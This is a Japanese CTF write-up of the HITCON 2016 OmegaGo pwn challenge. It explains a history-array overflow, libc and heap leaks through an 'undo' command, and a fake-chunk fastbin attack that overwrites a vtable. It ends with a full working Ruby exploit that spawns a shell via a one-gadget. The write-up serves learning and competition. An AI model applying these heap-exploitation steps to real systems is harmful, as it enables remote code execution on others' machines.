HITCON 2016 Quals - OmegaGo writeup
CTF Advent Calendar 2016 8日目です。
WiiU国内発売からちょうど4年らしいです。
先日、HITCON 2016 Qualsで出題されたOmegaGo (pwn350)を大会後に1週間かけて解いたのですが、
writeupが見たいというリクエストがあったので置いておきます。
Advent Calendarの記事ということで、いつもよりまじめに[要出典]書きました(`・ω・´)
概要
囲碁で遊べるプログラム。
$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.73 B19 ABCDEFGHIJKLMNOPQRS 19 XX................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 .................OO Time remain: O: 180.00, X: 168.67 surrender This AI is too strong, ah? Play history? (y/n) n Play again? (y/n) n
まずは下調べ。
$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped $ checksec --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
主な仕様はこんな感じ。
- 対局が始まると、CPU用とプレーヤー用にそれぞれvtable pointerを持ったオブジェクト(以下
Player_CPU,Player_Human)がmalloc(8)で作られる - CPU(
"O")が先手で、プレーヤー("X")が後手 - ルールは囲碁とだいたい同じ(だと思う)
- プレーヤーの取れる行動は「石を置く」「regret(待った)」「surrender(投了)」のいずれか
- プレーヤーのコマンド入力のためのバッファはbssに用意されている
- CPUは最初の一手は中央に、それ以降はマネ碁をする(真似できなかった場合はA19→B19→……→S19→A18→B18→……S18→……→S1の順で石を置ける場所を探す)
- 現在の局面に関する情報は、bss上に次のようなレイアウトで保持する(以下
status)
struct Status { // sizeof(struct Status) == 0x80 /* * 盤面の状態を表すビット列 * 2bitで1目を表し、 * 0: 空き(画面上は".") * 1: CPUの石(画面上は"O") * 2: プレーヤーの石(画面上は"X") * 3: 未定義(画面上は"\0") */ unsigned char board[96]; // +0x0 /* 最後に置かれた石の座標 */ int last_y; // +0x60 int last_x; // +0x64 /* 最後に置かれた石の種類 */ long last_token; // +0x68 /* CPUとプレーヤーの持ち時間 */ double cpu_time; // +0x70 double player_time; // +0x78 }
- 対局者がどこかに石を置くと、石を置いた後の
statusの状態がヒープ上にコピーされ、
コピー先のアドレスがbss上の配列struct Status *history[364]に格納されていく- 365手目以降も記録が行われるため、対局が長引くと
historyの後ろにあるstatusが破壊される
- 365手目以降も記録が行われるため、対局が長引くと
- 劫を防ぐため、一手打つごとに盤面の状態のハッシュ値を
historyとは別の赤黒木に登録していく - プレーヤーが「regret(待った)」を選ぶと、次に示すコードの
regret関数のような処理が走る
void undo() { unsigned long hash; if (history[history_count - 1]) { hash = compute_hash(history[history_count - 1]); // 盤面のハッシュ値を計算 free(history[history_count - 1]); // history用の領域を解放 remove_hash_from_rb_tree(hash); // 赤黒木からハッシュ値を削除 history_count--; } } int regret() { if (history_count > 1) { undo(); undo(); if (history[history_count - 1]) { restore(history[history_count - 1]); // historyに記録されている状態をstatusに書き戻す } return 1; } else { return 0; } }
- 先手・後手のどちらかが石を置けなくなった場合、またはプレーヤーが投了した場合に勝敗が決まり、再対局するかどうかを聞かれる
- 再対局することを選んだ場合、初期化処理(
historyに記録されたアドレスをすべてfreeし、赤黒木用の領域もすべて解放)を経て新しい対局が始まる- このとき、
Player_CPUとPlayer_Humanも新しく作り直されるが、古いPlayer_CPUとPlayer_Humanは解放されずにヒープ上に残ったままになる
このため、投了を繰り返すことでヒープのアドレスを調節することができる
- このとき、
- 再対局することを選んだ場合、初期化処理(
- 時間切れになった場合はプログラム終了
上記から分かるとおり、明らかにバグと言えるものは一つしかない。
とりあえず365手目まで進めればヒープのアドレスは分かりそうなので、まずはそこまで進めてみる。
アドレスリーク
まず、調査をやりやすくするために、statusの状態をいい感じに表示してくれるPEDA用のスクリプトを書いた。
# helper.py import struct def print_status(addr): board = peda.readmem(addr, 0x60) last_y = peda.read_int(addr + 0x60, 4) last_x = peda.read_int(addr + 0x64, 4) last_token = peda.read_long(addr + 0x68) time_cpu, time_human = struct.unpack("<dd", peda.readmem(addr + 0x70, 16)) print("[board]") for y in range(19): s = " " for x in range(19): s += str((board[(y * 19 + x) // 4] >> (((y * 19 + x) % 4) * 2)) & 3) print(s) print("[board (raw)]") for i in range(0, len(board) // 8, 2): print(" 0x%016x 0x%016x" % struct.unpack("<QQ", board[i * 8 : (i + 2) * 8])) print("[other info]") print(" last (y, x) = (%d, %d)" % (last_y, last_x)) print(" last token = 0x%x" % last_token) print(" time_cpu = %f" % time_cpu) print(" time_human = %f" % time_human)
# helper
source helper.py
define status
if $argc == 0
python print_status(0x609fc0)
else
eval "python print_status(0x%x)", $arg0
end
end
使用例
gdb-peda$ source helper
gdb-peda$ status # 現在のstatusの状態を表示
[board]
2220000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0002220000000000000
0000000000000000000
0000000000000000000
0000000001000000000
0000000000000000000
0000000000000000000
0000000000000111000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000111
[board (raw)]
0x000000000000002a 0x0000000000000000
0x0000000000000000 0x0000a80000000000
0x0000000000000000 0x0000010000000000
0x0000000000000000 0x0000005400000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000015000
[other info]
last (y, x) = (12, 13)
last token = 0x4f
time_cpu = 179.999932
time_human = 163.342170
gdb-peda$ status 0x000000000060b080 # 指定したアドレスをStatus構造体とみなして表示
[board]
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000001000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
[board (raw)]
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000010000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
[other info]
last (y, x) = (9, 9)
last token = 0x4f
time_cpu = 179.999999
time_human = 180.000000
なお、Python 3なgdbだとpeda.read_int系のメソッドがエラーになるが、Pythonよく分かっていないマンがPEDA本家にissueやPRを投げるのは恐れ多かったので、雑に直した。
さて、363手目まで進めた状態がこちら。
ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ..................X 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 O.................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 179.99, X: 147.76
ここから両者さらに1手ずつ打つと、こうなる。(H19は空白に見えるが、実際はnull byteが出ている)
ABCDEFGHIJKLMNOPQRS 19 ...XO.. O.XO....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 .................XX 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 OO................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 179.99, X: 147.59
gdb-peda$ status
[board]
0002100310210000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000022
2222222222222222222
2222222221111111111
1111111111111111111
1100000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
[board (raw)]
0x000000000061c180 0x0000000000000000
0x0000000000000000 0x0000000000000000
0xaaaaa00000000000 0x555555aaaaaaaaaa
0x0000001555555555 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
[other info]
last (y, x) = (11, 1)
last token = 0x4f
time_cpu = 179.994260
time_human = 147.587592
gdb-peda$ vmmap 0x000000000061c180
Start End Perm Name
0x00608000 0x0062c000 rw-p [heap]
historyがstatusの領域にまで侵入してきているので、このときの盤面の状態からヒープのアドレスを求めることができる。(今回はヒープのアドレスは使わないが)
ここで盤面の左上部分に石を置くことでhistory[364]を書き換え、その次の手番で待ったをかけてみる。
# 365手目まで
ABCDEFGHIJKLMNOPQRS
19 ...XO.. O.XO.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 .................XX
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
9 OOOOOOOOOOOOOOOOOOO
8 OO.................
7 ...................
6 ...................
5 ...................
4 ...................
3 ...................
2 ...................
1 ...................
Time remain: O: 179.99, X: 147.59
[board]
0002100310210000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000022
2222222222222222222
2222222221111111111
1111111111111111111
1100000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
[board (raw)]
0x000000000061c180 0x0000000000000000 # ←historyの最後尾は0x61c180の部分
0x0000000000000000 0x0000000000000000
0xaaaaa00000000000 0x555555aaaaaaaaaa
0x0000001555555555 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
[other info]
last (y, x) = (11, 1)
last token = 0x4f
time_cpu = 179.994260
time_human = 147.587592
--------------------------------------------------
# 366手目(プレーヤーがC19に石を置く)
--------------------------------------------------
# 367手目まで
ABCDEFGHIJKLMNOPQRS
19 ..XXO.. O.XO.......
18 ................OX.
17 . O.XO.............
16 ........... .. O.XO
15 ...................
14 ...................
13 ...................
12 .................XX
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
9 OOOOOOOOOOOOOOOOOOO
8 OO.................
7 ...................
6 ...................
5 ...................
4 ...................
3 ...................
2 ...................
1 ................O..
Time remain: O: 179.99, X: 141.09
[board]
0022100310210000000
0000000000000000120
0310210000000000000
0000000000030031021
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000022
2222222222222222222
2222222221111111111
1111111111111111111
1100000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000100
[board (raw)]
0x000000000061c1a0 0x000000000061c240 # ←C19に置いたことで0x60c180が0x60c1a0になった
0x000000000061c300 0x0000000000000000 # ←historyの最後尾は0x61c300の部分
0xaaaaa00000000000 0x555555aaaaaaaaaa
0x0000001555555555 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000001000
[other info]
last (y, x) = (18, 16)
last token = 0x4f
time_cpu = 179.993311
time_human = 141.094860
# ここでプレーヤーが待ったをかけると
# free(0x61c300)→free(0x61c240)→restore(0x61c1a0)
# が実行され、最終的にこうなる
ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...XXXXXXXXXXXXXXXX
17 XXXXXXXXXXXXXXOOOOO
16 OOOOOOOOOOOOOOOOOOO
15 OOOOOOO............
14 ...................
13 ...................
12 ...................
11 ...................
10 ...................
9 ...................
8 ...................
7 ...................
6 ......... X........
5 ......O............
4 ... .O............
3 ................ OO
2 O.O.. XOOOX.
1 OXOXO...OOOX.OOXX.
Time remain: O: 0.00, X: 0.00
# 本来restore(0x61c180)されないといけないのにrestore(0x61c1a0)されたため、盤面がバグっている
[board]
0000000000000000000
0002222222222222222
2222222222222211111
1111111111111111111
1111111000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000000000000000
0000000003200000000
0000001000000000000
0003301000000000000
0000000000000000311
1010033333211120333
3121210001112011220
[board (raw)]
0xaaaaa00000000000 0x555555aaaaaaaaaa
0x0000001555555555 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x000000010000000b 0x000000000000004f
0x40667fc95bff0457 0x40627ccbdba0a525
[other info]
last (y, x) = (0, 0)
last token = 0x31
time_cpu = 0.000000
time_human = 0.000000
このように、プレーヤーがhistory[364]を書き換えた後に待ったをかけることで、本来渡されるはずだったものとは違うアドレスをrestoreに渡すことができ、そのアドレス周辺のデータをリークできる。
つまり、restoreにfree済みチャンク周辺のアドレスが渡されるようにすれば、そのチャンクのfd/bkメンバからlibcのアドレスをリークできるということになる。
(なお、「Status.boardでプレーヤーが意図的に作れるのは0("."), 1("O"), 2("X")だけ」という制約があるため、got leakはできない)
試行錯誤の結果、
- 2回投了してヒープのアドレスを調整
- 365手目まで進める(
history[364]が0xXXX200になる) - D19に石を置くことで
history[364]を0xXXX200から0xXXX280に書き換える - 待ったをかけると
free(0xXXX380)→free(0xXXX2c0)→restore(0xXXX280)が実行される restore(0xXXX280)により、0xXXX2c0にあったlibcのアドレスがstatusに書き込まれる
という手順でlibcのアドレスをリークできた。
リークしたときの様子はこんな感じ。
ABCDEFGHIJKLMNOPQRS
19 ...................
18 .............O. ...
17 ...................
16 ..........O .. O.XO
15 ...................
14 ...OOXX ..XO......
13 ................O
12 O .O.XO............
11 ..........OO... O.X
10 O..................
9 .. XOX.X O.O XO ...
8 X.X ... X. O.O.OX
7 ...................
6 ..........X X OOX X
5 .X O O.....
4 ....X X OOX X.X O
3 O...........
2 ...................
1 ...................
Time remain: O: 0.00, X: 0.00
gdb-peda$ status
[board]
0000000000000000000
0000000000000103000
0000000000000000000
0000000000130031021
0000000000000000000
0001122330021000000
0000000000000000133
1301021000000000000
0000000000110003102
1000000000000000000
0032120231013213000
2023000332033101012
0000000000000000000
0000000000232311232
0231333333333100000
0000232311232023133
3333333100000000000
0000000000000000000
0000000000000000000
[board (raw)]
0x0000000000000000 0x0000000000000031
0x000000000061c340 0x000000000060fa50
0x00000000006137d0 0x000000000061c050
0x1f2f03880db4789b 0x0000000000000091
0x00007ffff78b97b8 0x00007ffff78b97b8
0x0000000000000000 0x0000000000000000
[other info]
last (y, x) = (0, 2863308800)
last token = 0x555555aaaaaaaaaa
time_cpu = 0.000000
time_human = 0.000000
gdb-peda$ x/gx 0x00007ffff78b97b8
0x7ffff78b97b8 <main_arena+88>: 0x000000000061c370
(ほぼ)任意アドレスのfree
これまでhistory[364]を書き換えた状態で待ったをかけてメモリ上のデータをリークすることについて考えたが、待ったをかける代わりに投了すると、historyを初期化する処理において(ほぼ)任意アドレスのfreeもできる。
これを利用すると、
- 対局開始から数手進んだときのイメージ(赤黒木関連のチャンクは省略)

- 盤面に32byteの偽チャンクを仕込んだ状態で
historyをオーバフローさせる(1手進むごとにstatusはヒープにコピーされるので、偽チャンクもヒープにコピーされる)

history[364]をヒープ上の偽チャンクのアドレスに書き換える

- 投了すると
historyの初期化処理によって偽チャンクがfreeされ、32byte用のfastbinsリストに繋がれる
このとき、Status構造体用の空きチャンクの中に偽チャンクが含まれている状態になる

- 再対局開始時に
Player_CPUとPlayer_Humanが新しく作られる
このとき、4.でfreeした偽チャンクがPlayer_CPU用の領域として使われる(fastbins unlink attack)

- 対局を進めつつ、盤面に適当なアドレスを作る

- 対局が進むと、どこかのタイミングで偽チャンクを含んでいる空きチャンクが再利用され、
statusをそこにコピーする処理によってPlayer_CPUのvtable pointerが上書きされる

という手順で制御を奪うことができる。
今回はプレーヤーのコマンド入力のためのバッファがbss上に用意されているので、Player_CPUのvtable pointerをそこに向け、コマンド入力時にOne-Gadget-RCEのアドレスを入れればシェルが取れる。
Exploit
libcはUbuntu 14.04での最新であるUbuntu EGLIBC 2.19-0ubuntu6.9を使っている。
Ubuntu 16.04で動かす場合はstdinのバッファがヒープ上に確保されることを考慮し、投了の回数を調節する必要があるかもしれない。
#coding:ascii-8bit require "pwnlib" host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3be760, "one_gadget_rce" => 0xe66bd } @verbose = true def tube @tube end def receive_board tube.recv_until(/Time remain: .*\n\n/m).tap{|a| puts a if @verbose} end def point(y, x) "ABCDEFGHIJKLMNOPQRS"[x] + (19 - y).to_s end def decode_board(board) result = "" n = 0 for b, i in board.scan(/^\s*\d+ ([\.OX\x00]{19})\n/m).map{|a| a[0]}.join.chars.each_with_index n |= ".OX\0".index(b) << ((i % 4) * 2) if i % 4 == 3 result << n.chr n = 0 end end if i % 4 != 3 result << n.chr end result.ljust(0x60, "\0").unpack("Q*") end PwnTube.open(host, port){|t| @tube = t puts "[*] surrender to adjust heap address" 2.times{ tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") } puts "[*] prepare for leaking addresses" 18.times{|i| receive_board tube.sendline(point(8, i)) } 11.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(8, 18)) 9.times{|i| receive_board tube.sendline(point(9, i)) } receive_board tube.sendline(point(7, 18)) receive_board tube.sendline(point(7, 17)) puts "[*] leak heap base" heap_base = decode_board(receive_board)[0] - 0x11200 puts "heap base = 0x%x" % heap_base puts "[*] leak libc base" tube.sendline(point(0, 3)) receive_board tube.sendline("regret") libc_base = decode_board(receive_board)[8] - (libc_offset["main_arena"] + 0x58) puts "libc base = 0x%x" % libc_base puts "[*] restart" 3.times{ # surrender 3 times to adjust heap address tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") } puts "[*] prepare for next step" 18.times{|i| receive_board tube.sendline(point(8, i)) } 11.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(8, 18)) puts "[*] create fake chunk (((unsigned long*)status)[3] = ((unsigned long*)status)[5] = 0x21" receive_board tube.sendline(point(13, 17)) receive_board tube.sendline(point(5, 3)) receive_board tube.sendline(point(7, 3)) receive_board tube.sendline(point(11, 17)) puts "[*] overwrite history's pointer (0xXXX410 -> 0xXXX550)" 7.times{|i| receive_board tube.sendline(point(9, i)) } receive_board tube.sendline(point(18, 15)) receive_board tube.sendline(point(18, 14)) puts "[*] restart to free fake chunk" tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") puts "[*] prepare for overwriting vtable pointer" 18.times{|i| receive_board tube.sendline(point(5, i)) } 14.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(5, 18)) puts "[*] set vtable pointer (((unsigned long*)0x609fc0)[4] = 0x609440)" receive_board tube.sendline(point(12, 1)) receive_board tube.sendline(point(11, 18)) receive_board tube.sendline(point(11, 17)) receive_board tube.sendline(point(7, 2)) receive_board tube.sendline(point(7, 5)) receive_board tube.sendline(point(11, 12)) puts "[*] fill until vtable pointer is overwritten" 3.times{|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } 5.times{|i| receive_board tube.sendline(point(3, i)) } puts "[*] set vtable" receive_board tube.sendline(point(3, 5).ljust(4, "_") + [libc_base + libc_offset["one_gadget_rce"]].pack("Q")[0...6]) puts "[*] launch shell" tube.interactive }
実行したときの様子をasciinemaで撮ってみた。(わかりやすいように要所要所でsleepを入れている)
感想
こういう問題を作れるのも頭おかしい(褒め言葉)んだけど、これを大会中に解いてるのも頭おかしい(褒め言葉)
— しゃろ (@Charo_IT) November 8, 2016
CTF Advent Calendar 2016 9日目は、inaz2さんの「Hack The Vote 2016 The Best RSA (Crypto 250)」です!